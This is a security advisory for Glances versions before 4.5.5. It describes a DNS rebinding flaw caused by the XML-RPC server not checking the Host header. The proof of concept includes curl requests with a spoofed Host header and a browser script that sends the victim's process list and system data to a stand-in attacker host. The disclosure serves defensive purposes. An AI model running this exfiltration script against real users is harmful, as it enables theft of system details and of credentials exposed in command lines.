glances
Affected
- introduced
0, fixed4.5.5(ecosystem)
Fixed versions
4.5.5
Fix
- Fixed version
4.5.5pip install --upgrade glances==4.5.5
Advisory
Also known as: CVE-2026-46611, GHSA-w856-8p3r-p338
Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack
Summary
The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.
---
Details
Affected component: glances/server.py — GlancesXMLRPCHandler / GlancesXMLRPCServer
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
Contrast — patched backends:
The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.
Contrast this with the two other Glances server backends, both of which received host-validation hardening:
REST / WebUI server (glances/outputs/glances_restful_api.py) — patched in 4.5.2:
# glances_restful_api.py
if self.webui_allowed_hosts:
self._app.add_middleware(
TrustedHostMiddleware,
allowed_hosts=self.webui_allowed_hosts,
)
MCP server (glances/outputs/glances_mcp.py) — protected since 4.5.1:
# glances_mcp.py
TransportSecuritySettings(
allowed_hosts=self.mcp_allowed_hosts,
...
)
XML-RPC server (glances/server.py) — no equivalent exists:
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
# No Host header check; any Host value is accepted
rpc_paths = ('/RPC2',)
...
There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Server type | Host header | HTTP status | Data returned |
|-------------|----------------------|-------------|---------------|
| XML-RPC | attacker.example.com | 200 OK | Yes — VULNERABLE |
| XML-RPC | 127.0.0.1:61209 | 200 OK | Yes (baseline) |
| REST API | attacker.example.com | 400 Bad Request | No — patched |
---
PoC
Attack overview
DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.
Special configuration required
No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").
---
Step 1 — Start the Glances XML-RPC server
glances -s -p 61209
Step 2 — Confirm the server accepts an arbitrary Host header
curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
-H "Host: attacker.example.com" \
-H "Content-Type: text/plain" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
Expected result (secure): HTTP/1.0 400 Bad Request
Actual result: HTTP/1.0 200 OK with full XML-RPC response body.
Step 3 — Confirm the REST API is patched (comparison)
# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210
curl -s -o /dev/null -w "%{http_code}\n" \
"http://127.0.0.1:61210/api/4/status" \
-H "Host: attacker.example.com"
# Returns: 400 (TrustedHostMiddleware rejects the spoofed Host)
Step 4 — Full DNS rebinding exploitation (real-world path)
attacker.example.com with a low-TTL (1 second) DNS record initially pointing to their own server IP.http://attacker.example.com:<script>
async function exfil() {
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
try {
const r = await fetch('http://attacker.example.com:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
});
const data = await r.text();
// data contains: hostname, OS, all processes with cmd-lines, network, disk
await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
} catch (_) {}
}
// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>
http://attacker.example.com in their browser.127.0.0.1.fetch() call is sent to 127.0.0.1:61209 with Host: attacker.example.com; the XML-RPC server accepts it.Access-Control-Allow-Origin: * header (see companion advisory) allows the browser to read the response body.Tools that simplify DNS rebinding for research/testing include:
Step 5 — Confirm absence of Host check in source
import sys, inspect
sys.path.insert(0, '/path/to/glances') # adjust to local clone
import glances.server as s
src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False
---
Impact
Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)
Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:
127.0.0.1 (loopback) — DNS rebinding bypasses the loopback restriction.Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.
Medium Basis: CVSS v3 score 5.3, vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
0, fixed 4.5.5 (ecosystem)4.5.5
4.5.5pip install --upgrade glances==4.5.5Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: PyPA Advisory Database · CC BY 4.0